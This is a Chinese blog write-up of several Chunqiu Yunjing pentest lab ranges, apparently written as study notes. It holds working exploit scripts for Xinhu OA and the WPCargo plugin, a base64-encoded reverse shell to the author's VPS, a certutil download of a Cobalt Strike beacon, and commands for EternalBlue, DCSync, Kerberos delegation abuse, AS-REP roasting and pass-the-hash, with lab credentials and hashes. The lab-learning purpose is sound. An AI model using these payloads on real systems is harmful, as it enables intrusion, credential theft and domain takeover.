春秋云镜渗透复现

前言

接下来要持续更新写渗透的wp了,两个账号可以大大提高打渗透的进度,毕竟一个月沙砾也就那么点

Initial

为了节省沙砾,先过了很多遍流程,先统计好了需要用到的工具

工具 用途
Fscan 信息扫描,发现有效端口,存活主机数量,漏洞检测
ThinkPhp综合检测工具 检测Thinkphp框架漏洞
[GTFOBins](https://gtfobins.github.io/) 提权综合利用
stoawawy 内网穿透工具
Proxychains 内网穿透代理
Metasploit 渗透框架

flag01

知识点:框架漏洞利用

打开靶机

image-20251123200919480

首先用fscan扫描一下

image-20251123201143975

发现存在thinkphp框架漏洞,用Thinkphp利用工具扫一下(多扫几遍,有时候会漏扫)

image-20251123201417326

然后点击getshell,会上传一个马,密码是peiqi

image-20251123201442885

然后我们就可以用蚁剑连接

image-20251123201537784

读取flag发现没有权限,首先看看自己的权限,发现是www-data,很低的权限,用sudo -l 查看一下(本来还要suid提权的,这里急的搞忘了)

image-20251123201657894

发现mysql存在sudo。https://gtfobins.github.io/去这里看看利用方式,搜索mysql,点击sudo

image-20251123211944850

得到提权方式

image-20251123212022882

1
sudo mysql -e '\! cat /root/flag/flag01.txt'

得到flag01

image-20251123201839511

flag02

知识点:内网穿透、信乎oa历史漏洞利用

然后就需要通过这个外网访问到期中的内网了,我们上传两个文件,一个是Stowaway中的linux_x64_agent文件,一个是fscan(这里fscan传错了,这个linux执行不了,导致后面还要下linux运行的fscan。我的沙砾啊)

image-20251123202106341

image-20251123202227383

这里linux_x64_admin也是在stowaway目录下的,是vps上需要使用的,所以第一次打,需要在vps上给linux_x64_admin一个运行权限

1
2
3
chmod +x linux_x64_admin

./linux_x64_admin -l 8888      (因为我是内网穿透打法,用Cpolar将linux虚拟机的8888端口映射出去了)

image-20251123204413488

然后在蚁剑中给linux_x64_agent一个运行权限

1
chmod +x linux_x64_agent

image-20251123202434139

然后运行

1
./linux_x64_agent -c 8.148.66.159:12306      (这里我虚拟机的8888端口映射出去是8.148.66.159的12306端口)

image-20251123203409811

连接成功

image-20251123204510526

上面显示Node id is 0,所以需要选用这个节点(你可以同时用stowaway代理多个靶机,节点就是用来选择你要代理的靶机的)

1
use 0

image-20251123204533429

启用socks协议,启用了socks协议之后就可以通过proxifier代理连接了,也可以用proxchains在对方内网环境里运行渗透工具

1
socks 9999

这里图片的socks是错的(之前的图)

image-20251123204721072

然后在proxifier种进行配置,配置完之后,你本机的流量都走代理,就可以访问到内网了

(但其实,我这里并没有成功在浏览器访问内网,不知道是啥原因。但是我的蚁剑确实可以走这个代理)

image-20251125182744113

image-20251217163423921

回到stowaway,用shell命令可以在stowaway这里开始非交互式shell(也可以弹到交互式shell,有点麻烦)

1
shell

image-20251123205007223

查看一下ip,接下来用fscan扫描内网(由于内外网原因,这里在蚁剑的环境下是无法完成的,所以才需要用stowaway)

image-20251123205106905

1
./fscan -h 172.22.1.0/24 

扫描可以发现一个OA系统,一个存在MS17永恒之蓝的windows主机

image-20251125183133709

先打OA

image-20251125183233766

这里有个弱口令

1
admin:admin123

网上可以找到历史漏洞,poc如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=::',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)

这里还要配置一下proxychains4,注意一定是socks5

image-20251125184936556

这样通过proxychains4 就可以将后面运行的exp.py放到对方内网环境中运行

image-20251217193007319

这里是system用户可以直接拿到flag(非system用户就要提权了。windows提权还不清楚)

image-20251217192930175

flag03

知识点:msf打永恒之蓝、DCSync攻击

然后我们打那个永恒之蓝的漏洞,需要用到msf

1
proxychains4 msfconsole    //在其内网环境中启用msf

image-20251217194051005

1
search ms17                //查找有关ms17的漏洞

image-20251217194210478

1
use exploit/windows/smb/ms17_010_eternalblue  //选择漏洞

image-20251217194252040

1
show payloads    //展示能用的payload

image-20251217194606053

1
2
3
4
set payload windows/x64/meterpreter/bind_tcp_uuid  //启用正向连接的payload
show options   //展示还需要的选项
set rhosts 172.22.1.21  //设立靶机ip
run

image-20251217194822027

出现meterpreter就是利用成功了,并且获取到了对方的shell

接下来我们需要通过DCSync攻击拿下域控机,这里简单介绍一下DCSync

DCSync 是一种在域环境中常用的攻击技术,利用域控制器之间的数据同步机制,通过模拟域控制器请求数据来获取敏感信息,如用户的哈希值。

1
2
3
getuid   //查看权限,如果这里不是system权限的话就需要提权查看了
load kiwi  //加载mimikatz模块,用于查看哈希
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv"  //查看所有哈希

这里就可以看到admin的哈希了

image-20251217195155043

有了哈希之后,就可以通过crackmapexec执行命令了

1
proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

解释一下

crackmapexec smb 172.22.1.2

  • smb:指定使用 SMB 协议
  • 172.22.1.2:目标 IP 地址

-u administrator

  • 指定用户名:administrator

-H 10cf89a850fb1cdbe6bb432b859164c8

  • NTLM 哈希值(通常是 NTLM hash)

-d xiaorang.lab

  • 指定域名/工作组

-x "type Users\Administrator\flag\flag03.txt"

-x 参数允许在目标系统上执行命令。这里执行的命令是:type Users\Administrator\flag\flag03.txt

image-20251217195433212

总结

万事开头难,这个靶场真的打了很久,两个账号共计四个小时。主要是内网穿透这一块真的花了很久,不过之后利用起来就很舒服了。(这个总结是之后写的,所以感触不多)

Tsclient

依旧工具

工具 作用
fscanstowaway 老朋友
CS windows上线
数据库利用工具MDUT 连接数据库
impacket 综合神奇,目前用于修改密码、登录域控

flag01

知识点:MDUT连接弱口令、上线CS、甜土豆提权

fscan扫描一波,初步检测到MSSQL存在弱口令

image-20251221192524791

这里直接用MDUT连接

image-20251221193006060

查看用户权限,注意这里模式需要使用Sp的不然会产生报错

发现权限很低,就需要我们进行提权

image-20251221193501293

先收集一些信息,这里用UTF-8会乱码

1
ipconfig

image-20251221194113569

然后要提权嘛,可以

1
whoami /priv

whoami /priv 是一个 Windows 命令,用于查看当前用户账户拥有的所有特权(Privileges)及其状态

这些特权是操作系统级别的权限,允许用户执行特定的敏感操作

然后解释一下:身份验证后模拟客户端已启用

  • 允许进程(程序)在身份验证后模拟(Impersonate)其他用户身份
  • 即:一个服务或进程可以暂时"扮演"另一个用户的身份来访问资源

只要这个开启了,就可以用甜土豆进行提权

image-20251221194241352

现在的问题是,MDUT并不支持直接上传文件,我们需要通过命令下载。

但是我们还需要上传stowawayfscan所以这里直接上线CS

CS是个什么东西呢?其实主要是用来进行团队协作的,一个公网开启了服务之后,所有人都可以通过密码进行连接。这样就可以多人一起分析网络拓扑了。我们单人用这个主要是为了方便渗透操作

首先下载CS后,要上传到有公网ip的地方,vps也好,你穿透出去也行。

然后给个执行权限(服务端主要就是这个teamserver

1
chmod +x ./teamserver

image-20251221152237970

然后启用并连接

1
./teamserver 101.201.79.208 123456     (123456是密码)

image-20251221194002663

连接成功之后,先开一个监听器

image-20251221194339321

开启后,同步在你的公网里也会开始监听1111

image-20251221194644593

然后生成一个payload,这个就是一个用于建立连接的可执行文件,靶机运行了这个exe之后就成功上线CS

image-20251221194726629

image-20251221194810818

然后,我们需要在靶机运行这个exe,所以还是要用命令下载一下这个文件QAQ

先把exe上传到vps

image-20251221195249969

然后vps里用python开一个http服务

1
python3 -m http.server 80

image-20251221200454300

然后再MDUT中执行下载命令(注意这里我们如果不加C:\Users\Public\beacon.exe的话,就会默认下载到当前文件夹,当前文件夹是不允许下载的。)

1
certutil -f -split -urlcache http://101.201.79.208/beacon.exe C:\Users\Public\beacon.exe

image-20251221200519029

下载完之后直接运行,可以看到成功上线CS

image-20251221200710265

这里可以调整一下这个回连间隔,改成0,不然每次执行命令都要等一分钟

image-20251221200730354

然后,回到之前的思路,我们成功上线CS之后,需要上传甜土豆、fscanstowaway

打开文件浏览

image-20251221200906142

还是找到public文件夹,在这里上传(可能会比较慢)

image-20251221201341696

下载完之后可以直接复制,这里这样复制的话就是直接复制路径

image-20251221201429948

读取看看甜土豆是否为system用户

1
shell C:\Users\Public\SweetPotato.exe -a whoami

很明显甜土豆可以提权

image-20251221201532292

然后通过甜土豆运行之前传上去的exe文件,就可以将system用户上线

1
shell C:\Users\Public\SweetPotato.exe -a C:\Users\Public\beacon.exe

image-20251221201649088

然后就可以获取flag了,找到flag的位置

image-20251221202423302

读取就行

1
shell type C:\Users\Administrator\flag\flag01.txt

image-20251221202620257

flag02

知识点:内网穿透、进程注入、密码喷洒,修改密码、远程连接、镜像劫持提权,CS转发上线

02就在内网中了,这里需要用stowawaysocks

1
./linux_x64_admin -l 8888

image-20251221201819659

1
shell C:\Users\Public\windows_x64_agent.exe -c 101.201.79.208:8888

image-20251221202250211

开启之后我们看看在线用户

1
shell quser || qwinst

发现了john

image-20251224191702131

我们可以通过system用户进行进程注入,将john也上线cs

image-20251224191825610

image-20251224191903659

可以查看一些公共资源,挂载情况

1
shell net use

image-20251224192140205

发现了一个目录,列出目录并读取一下可疑文件

1
2
shell dir \\TSCLIENT\C
shell type \\TSCLIENT\C\credential.txt

image-20251224192224385

image-20251224192229679

发现了一套账号密码,可以尝试远程登录了,

1
xiaorang.lab\Aldrich: Ald@rLMWuy7Z!#

但是在远程连接之前还是需要fscan扫描一下内网

stowaway运行fscan,发现46就是那个账号密码

image-20251224193118465

1
2
3
4
 172.22.8.18 WIN-WEB    已拿下
 172.22.8.15 DC:XIAORANG\DC01
 172.22.8.31 XIAORANG\WIN19-CLIENT
 172.22.8.46  WIN2016.xiaorang.lab

crackmapexec尝试进行密码喷洒,发现密码过期了

image-20251224192923414

然后我们可以用impacketsmbpasswd.py进行密码修改。

这里一定要注意的是,新版impacket已经把subpasswd去除了。我们得下载历史版本0.9.24

1
proxychains python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass 'Admin123$%'

image-20251224201344786

RDP远程登录一下

image-20251227203841929

image-20251227203954771

登录成功,但是我们这个不是system用户,不能够读取flag。所以我们需要镜像劫持提权(前面提示),所以我们需要先看看修改注册表的权限

image-20251227204143996

1
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

可以看到是Authenticated Users 拥有创建、设置读取的权限。

那么Authenticated Users是个什么东西呢?简单来说就是一个用户组

  • 包括:
    • 所有域用户(Domain Users)。
    • 所有本地用户(Local Users)。
    • 所有通过身份验证的计算机账户(Computer Accounts)。
  • 不包括:
    • 匿名用户(Anonymous)。
    • Guest 账户(除非启用了 Guest 账户并进行了身份验证)。

所以,我们这个用户就是可以修改的

image-20251227204242265

既然可以修改,我们添加一条到注册表中,意思就是将cmd绑定到放大镜中,这样我们打开放大镜就是打开cmd。有大用处,后面你就知道了

(修改注册表的方式进行提权就是镜像劫持提权)

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

image-20251227204349610

然后因为这个机子是不出网的,只能用同样内网的机子访问,我们通过CS的代理转发上线搞个马进去

image-20251227204437108

image-20251227204513738

image-20251227204528783

RDP远程登录之后的靶机可以通过复制粘贴传送文件

1
ctrl c+ctrl v

image-20251227204724778

然后就是将桌面锁定一下,因为锁定之后的界面就是system用户,我们由绑定了cmd到放大镜中,所以,我们锁定界面打开放大镜,就是运行cmd,在那里运行我们用cs生成的文件,就可以成功上线cs

image-20251227204832891

image-20251227204934724

成功上线CS(其实这里直接在cmd里找flag就行,我们上线CS是为了后续抓取哈希打域控的)

1
2
3
c:\\users\\public
dir
beacon123.exe

image-20251227205123358

直接读取flag

1
shell type C:\Users\Administrator\flag\flag02.txt

image-20251227205405949

flag03

知识点:CS抓取哈希、哈希登录域控

查看一下域控管理员是哪个

1
shell net group "domain admins" /domain

发现就是本机,那就简单了

image-20251227205530909

抓取一波明文密码,这里可以抓到哈希

image-20251227205714757

image-20251227205812472

找到哈希之后用impackedwmiexec.py直接登录域控,smbexec.py好像也可以,没试过

1
2
3
2efb0ad79e4c0842c93f368dcd4e8296

proxychains python3 wmiexec.py -hashes :2efb0ad79e4c0842c93f368dcd4e8296 xiaorang.lab/WIN2016\$@172.22.8.15 -codec gbk

image-20251227210736845

直接读!结束

1
type C:\Users\Administrator\flag\flag03.txt

image-20251227210831619

总结

这个靶场学到了很多东西啊,首先就是MDUT了解一些使用,然后是CS的使用,这个靶场写下来,感觉CS都成老朋友了。然后就是两个提权手段,甜土豆和镜像劫持。感觉镜像劫持还真提好用的,不过还是要看一下权限。最后就是impacket这个集成工具的一些使用,说实话都不知道原理,之后遇到报错都不知道怎么办,不过也先就这样吧。

Brute4Road

依旧

工具 用途
MDUTstowawayfscan 老朋友
Redis Rogue Server redis主从复制rce
bloodhount 分析域环境
powerView.ps1 获取域内信息
Rubues 约束性委派攻击

flag01

知识点:redis主从复制rce,base64提权

老规矩,拿到站点先用fscan扫一下,发现redis未授权

image-20260101210828967

直接用MDUT进行连接

image-20260101210928860

连接成功后发现执行命令会报错,也无法写计划任务反弹shellwebshell都不可以

image-20260101211112587

尝试打redis主从复制,用的是Dliv3/redis-rogue-server: Redis 4.x/5.x RCE。这里默认21000端口,要记得开放端口

1
python3 redis-rogue-server.py --rhost 39.98.125.91 --lhost 101.201.79.208

成功获取道了交互式shell

image-20260101211645476

但是这个shell看起来很烦,我就直接wgetstowaway的客户端了

1
wget http://101.201.79.208/linux_x64_agent

image-20260101212011754

然后和之前一样连接就可

image-20260101212157127

stowaway中打开交互式shell查看权限发现式redis权限,需要提权,

1
find / -perm -4000 2>/dev/null

找到了base64

image-20260101212418707

去https://gtfobins.github.io/看看用法,这里明显可以读取文件

image-20260101212619119

直接构造获取flag

1
base64 "/home/redis/flag/flag01" | base64 --decode

image-20260101212745135

flag02

知识点:wpscanwpcargo插件漏洞、蚁剑CMDLinux连接方式、wp-config拿数据库密码

下一步就是进入内网,我们需要远程下载一个fscan

1
wget http://101.201.79.208/fscan

然后看看自己的ip,直接运行

image-20260101213227156

image-20260101213316102

总结如下,我们下一步先去看看web02这个内网

目前ip 信息
172.22.2.34 XIAORANG\CLIENT01
172.22.2.7 redis(已拿下)
172.22.2.3 DC:DC.xiaorang.lab
172.22.2.16 MSSQLSERVER
172.22.2.18 WORKGROUP\UBUNTU-WEB02

登录后发现是一个WordPress框架的文章

image-20260101214225870

直接使用官方的扫描器wpscan检测一下,wpscan也是kali自带的扫描器,不需要自己下载

这里本来应该是要加上api的,这样才能检测漏洞,不然只能检测版本。但是加上api我一直成功不了,很难受。

1
2
wpscan --update
proxychains4 wpscan --url http://172.22.2.18 

image-20260110105420040

这里找到wpcargo这个插件里有一个rce漏洞,利用如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://172.22.2.18/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

proxychains4代理一下就行

image-20260110105908494

之后就是用蚁剑连接,这里的马比较特殊,要传两个参数,不过蚁剑对这种马特意做了适配

image-20260110110340407

进去之后我们无法开启终端(不知道为什么)在config文件里找到了数据库的用户和密码

image-20260110111828927

image-20260110111844728

尝试连接

image-20260110111920220

找到flag

image-20260110112353145

flag03

知识点:爆破MSSQL、甜土豆提权、RDP远程连接

目前ip 信息
172.22.2.34 XIAORANG\CLIENT01
172.22.2.7 redis(已拿下)
172.22.2.3 DC:DC.xiaorang.lab
172.22.2.16 MSSQLSERVER
172.22.2.18 WORKGROUP\UBUNTU-WEB02 (已拿下)

数据库中还找到了一个密码字典,结合还剩下的MSSQL这里明显就是要我们爆破

image-20260110113338503

1
proxychains4 -q hydra -l sa -P passwd.txt mssql://172.22.2.16

爆破出密码ElGNkOiC

(其实这里我没有爆破出来,很是奇怪,真的密码确实在里面,但是用了好几个爆破工具都爆不出)

MDUT连接mssql数据库

image-20260110115145193

拿到shell老样子看看权限

1
whoami /priv

这里明显看到这个SelmpersonatePrivilege启用了,依旧甜土豆提权

image-20260110150126892

本来吧,这里应该用wget远程下载上线CS的,但是这里不出网,然后这里激活一下组件就可以上传了?

之前不是传不了来着,下次去试一下

image-20260110150344087

image-20260110150420622

上传之后,查看一下是否可以利用

1
C:/Users/Public/SweetPotato.exe -a whoami

明显可以,现在就是系统用户了

image-20260110151605841

然后我们其实可以直接读取flag了,但是这里方便后续flag04的获取,我们看看能不能RDP或者传到MSF

1
C:/Users/Public/SweetPotato.exe -a "netstat -ano"

可以看到这里开放了3389,我们直接进行远程连接

image-20260110151659093

添加管理员用户,并连接

1
2
C:/Users/Public/SweetPotato.exe -a "net user liernian qwer123! /add"
C:/Users/Public/SweetPotato.exe -a "net localgroup administrators liernian /add"

image-20260110151904761

然后直接读flag

image-20260110153105099

flag04

知识点:约束性委派(SharpHound获取域内信息、powerView.ps1查看委派服务、mimikazi抓取哈希约束性委派、Rubeus申请票据并导入内存)

目前ip 信息
172.22.2.34 XIAORANG\CLIENT01
172.22.2.7 redis(已拿下)
172.22.2.3 DC:DC.xiaorang.lab
172.22.2.16 MSSQLSERVER (已拿下)
172.22.2.18 WORKGROUP\UBUNTU-WEB02 (已拿下)

最后,我们需要拿下域控,首先先看看我们这个用户在不在域里

1
C:/Users/Public/SweetPotato.exe -a "net time /domain"

明显是在的

image-20260110153707418

也可以用systeminfo查看

image-20260110161227949

我们上传mimikatzSharpHound,尝试获取一下域内信息

(后面还有PowerView.ps1Rubeus

image-20260110153901698

获取域内信息需要系统权限,我们RDP的本地管理员权限,是不够的。所以我们还需要提权,这里直接用上次的镜像劫持提权,修改放大镜注册表

1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

image-20260110154058541

然后再锁定界面打开放大镜

1
2
cd c:\Users\liernian\Desktop
SharpHound.exe -c all

image-20260110154544597

就获得了这个压缩包

image-20260110154929198

然后我们在自己docker搭建的BLOODHOUND里导入压缩包,就可以分析出域内的信息了

image-20260110155426914

image-20260110155707041

这里可以看到域控对我们拿下的MSSQL这个机子有委派任务,我们还需要查看一下是什么委派任务

image-20260110160744763

传一个powerView.ps1

1
2
3
4
cd c:\Users\liernian\Desktop
powershell
Import-Moudule PowerView.ps1
Get-DomainComputer -TrustedToAuth -Properties samaccountname,msds-allowedtodelegateto

这里可以看到是对DC有一个LDAP的委派服务

image-20260110162239180

之后我们就可以打约束性委派,首先先抓取一下MSSQL这台机子的哈希

管理员权限打开mimikatz

1
2
3
privilege::debug 
log 1.txt
sekurlsa::logonpasswords 

image-20260110170249701

txt中就可以直接查找了

image-20260110170655511

有了这个NTLM的哈希之后就可以用 RubeusMSSQLSERVER$ 的凭证向KDC(密钥分发中心)申请一个TGT(票据授权票据) 并用base64格式打印出来

1
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:4b450a5ce961ae424b3b14d8967dd936 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap

image-20260110173332560

然后通过 S4u2seflt 拓展协议使用 TGTTGS(票据授予服务器) 请求代表 Administrator 用户访问 DC.xiaorang.lab 上的 LDAP 服务ST(服务票据) 并导入内存当中

1
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE0hFOwZL3iBCbPWZfK9pcQbq2UP4bIjpghsMyO9AtMFb08ZHbGUdA8e7abXUQZb/l0hof6LJ6PYh9umYK23dZi3B3yTzt0AGIa5cNzg/uCYik9yN6+StrpkgvQRyDkOec2rbsLioYyDfYfwJ7iVhwkfVfNveDSCviaVl//Uo/VLn6vg6H0bcbhDCcZzUAntG/AXUO0mazjz/RNeemtMWFs1SCkQLcDYrGvM7suLZk+vgbtczOUeTLEIQe1jzCls+yMlX1Vck0VqTpmv0p0E4sg2e4qbOY+gmIOO3KF90BY3fDNZR3lcRiH82K9oxiYjwwCH2cQb93d1z9dHPxZHqkXxpEIAW46hqKbcE2T36JGWnZbtCNmLR9khn+xz+fjHtJckCzJatv6ZRQIwFvpTMsEP7kg6hBps/wFddFw32IgBeGV5V3wvdes+DlNsJCMc1qo5+sZo6A/k573I4l7Dj9DH3AV3q5KFpufesOMj+hkATCaiUCTKzfjjxU5JOt38fYHxi35PtiwvmdSI5BA+V74d4FpcAv+WNtiMg2ITvxJb/Tr280guZNNOhPNVVoM73N9+j2jW3izSAolTuTHg2cEWleHMOR643e+bPLe7bSDk+xYiEKBJbfcbX42sU1639qMYN5ggtjdehbEFBk5l6lSZQCwxjdokRt7zNnxXxDjDkjZXsmeNUCe0OFkK/sl023/Yn8V4QfmDyO6oJj7027bSpWXsWXvRIK1BgACW6oUON72zCQECkjSdIp3kIXrMHatcpNqGC0pbkpc+iD7IIzm9tXC3eHGMghDH/d5C4gs03RT5o3rt+moQHRHQXxIGaP5LigUutHs2GXvfXtqeVAFHGgeDoSpS0wIxjcMn/QpaHe+2+JFOE5qCWy4gAIHV7Z4/vTGzo28TnbUdu8+I5SVdFPUAU6Srr1P086QKba8lGn2B0Rkml61kRzhJ35EKIWK7CkKRtfgUgt6p8nJGglkSW4y3U5t6Sr5kQPM3jUp5icmgVs9O9duiRHlzElaDbrJgqyP1sR+u17DJgNXNirJCLPhxsOuZXyLNyfGD38GPnN31MD+gWF9Eas0aqUoQxETLXXR5y5xY7QdHf125PsBh4kznXtccCZMcyHVHvXhh+052+HS2rgOVzyZmc8LCb0RhaFO/gQHjvbsYKpXtPY+LAEirQPdlM5Tjdq1JCVNjOxyX5+m4iueOfYcWEs3ZgVlXThNscZzHWorjyEEZV+nXxYuU9wTpLKsNl/EekmX2O+TNJ3avxWUWoPy5VP+cisJFhL/Oiv9xatr5A//FmaS863irVL4yYJX3han82bJTZEeL4YQbdCMJqtagfqrfGO46KI716Zsef9Se2pega0m8zioUr1U9DmTHIyi47ze/WqJFNUVf+BqfPbqtTCAkdLNKAnba1iPoVSanGUk3gnc90tMaWVjpT217S+kVZxqpYs1CC5kY/0nBWTZB+smjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBBWdInHkEa+dbjWDbE0BGCkoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI2MDExMDA5MzkxNlqmERgPMjAyNjAxMTAxOTM5MTZapxEYDzIwMjYwMTE3MDkzOTE2WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==

image-20260110173405670

之后就可以直接和域内机子交互了,这里其实也可以打PTH不过已经没啥必要了

1
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt

image-20260110174001131

总结

打了很久的靶场,搞环境就搞了很久,还好是十号会员日打的,打了一天也只花了两个沙砾。

有些问题没有解决,首先是wpscanapi接上之后没有成功扫描,然后是爆破密码的时候一直没有爆出来,中间还换了几个爆破软件都不行。还有MDUT之前不是不能直接上传文件,需要上线CS吗?这里我是没成功上线CS,下次试试Tsclient那个MDUT弱口令能不能直接上传文件

真的学到了蛮多的,主要就是约束性委派这里无论是配置环境还是找工具花了不少时间,之后考虑在后面写一个知识点总结,总结一下一些漏洞原理之类的

Time

工具 作用
CVE-2021-34371.jar 漏洞利用包
hashcat 哈希爆破
老伙计

flag01

知识点:Neo4j未授权RCE

老规矩,fscan

发现打开了7687端口,是Neo4j的服务

image-20260113222837970

打Neo4j未授权RCE,rce进行反弹shell

1
/jdk1.8.0/bin/java -jar rhino_gadget.jar rmi://39.101.142.175:1337 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTAxLjIwMS43OS4yMDgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" 

image-20260113230010903

image-20260113230000578

获取flag

image-20260113230316336

flag02

知识点:sql注入

上线一下stowaway

(记得在tmp目下下载)

image-20260113231322644

扫一下内网

image-20260113231642355

存活ip 服务
172.22.6.25 WIN2019.xiaorang.lab 域内主机有
172.22.6.38 内网web机 开放80端口
172.22.6.36 neo4j web入口机 已拿下
172.22.6.12 DC:DC-PROGAME.xiaorang.lab 域控

肯定是打web机,发现一个登录页面,可以打sql注入,这里直接用sqlmap跑了

image-20260118202410463

bp抓包可以加上socks代理(我没找到 ,最后是在虚拟机里,proxifier+bp内置浏览器抓包)

image-20260118203506823

加一个*表示注入点

image-20260118203616265

后续不多赘述

1
proxychains python sqlmap.py -r bp.txt --dbs

image-20260118205344081

1
proxychains -q  python sqlmap.py -r bp.txt -D oa_db --table

发现有flag和users,都去读来看看

image-20260118205614693

1
proxychains -q  python sqlmap.py -r bp.txt -D oa_db -T oa_f1Agggg -C flag02 --dump

image-20260118205753032

flag03&flag04

知识点:AS-REP-Roasting、PTH

存活ip 服务
172.22.6.25 WIN2019.xiaorang.lab 域内主机
172.22.6.38 内网web机 开放80端口 (拿下)
172.22.6.36 neo4j web入口机 (已拿下 )
172.22.6.12 DC:DC-PROGAME.xiaorang.lab 域控

读取一下用户

1
proxychains -q  python sqlmap.py -r bp.txt -D oa_db -T oa_users --dump 

我们发现了很多用户,可以用impacketGetNPUsers.py对没开启域身份证明的读取哈希,原理如下

对于域用户,如果设置了选项Do not require Kerberos preauthentication(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令

image-20260118210115933

本来可以用Kebrute枚举一下活跃用户,不过我发现这一步是可以省略的

1
proxychains python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile users.txt xiaorang.lab/

image-20260118211748944

1
$krb5asrep$23$wenshao@XIAORANG.LAB:dce4537615830d444878b96777ff69f3$7e3c8e666a32b85e23995a6f78d5facceed6884785e11e62abd70d563e770a1812efd26a8eb9ea974966c90006ada2ad0db1ff5c1381cfbfedb4f89377c40fcc24637a054f6e740319ee8f3f4b2d08500f2ac5e574174f4e96a1369079fe67063ceb03a1235ac981a53d5a508e38f9c28f6effd503b33e92db9d713865bcf3c7e84ca481009be4c0a4d49bf0ecb01911d6b0ee3b18ce77d6bccb8ddec0c00007658efdfc2fdb1d798095a5cd1ffb24bc0dbb40fd0a0a002bcade046edc0b9400b8986cea529978a7e43dbee38951378fadeeb8f1c59b9abc0766ee5edcbca7dc912ca9e31570f260730109ee

配合rockyou和hashcat进行爆破

1
hashcat -m 18200 -a 0 --force  hash.txt rockyou.txt

image-20260118213206924

1
wenshao:hellokitty

这里其实还要密码喷涂一下,但是因为只剩一台主机了,就不搞了,浪费沙砾

只能登录25,域用户需要加上后面的域名

image-20260118213913692

用血猎犬获取域内信息

可以看到我们登录的25这台机子拥有yuxuan这个用户的session,也就是说,yuxuan这个用户在25这台机子上设置了自动登录之类的操作

然后发现yuxuan这个用户和域管理员有SID

SID(安全标识符):每个用户、组或计算机在域中拥有唯一的 SID,用于标识身份和权限

image-20260118230419609

在25里查看一下yuxuan的密码

1
2
3
4
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

这条命令查询 Windows 注册表中 Winlogon 键的值,该键存储与用户登录相关的配置信息
Winlogon 键通常包含自动登录(AutoLogon)的设置

image-20260118214200159

image-20260118214233783

1
yuxuan:Yuxuan7QbrgZ3L

登录后直接抓哈希打PTH就行

1
2
3
lsadump::dcsync /domain:xiaorang.lab /all

lsadump::dcsync /domain:xiaorang.lab /user:administrator

image-20260118215403540

1
2
3
4
5
04d93ffd6f5f6e4490e0de23f240a5e9

proxychains4 python3 smbexec.py -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 xiaorang.lab/administrator@172.22.6.25

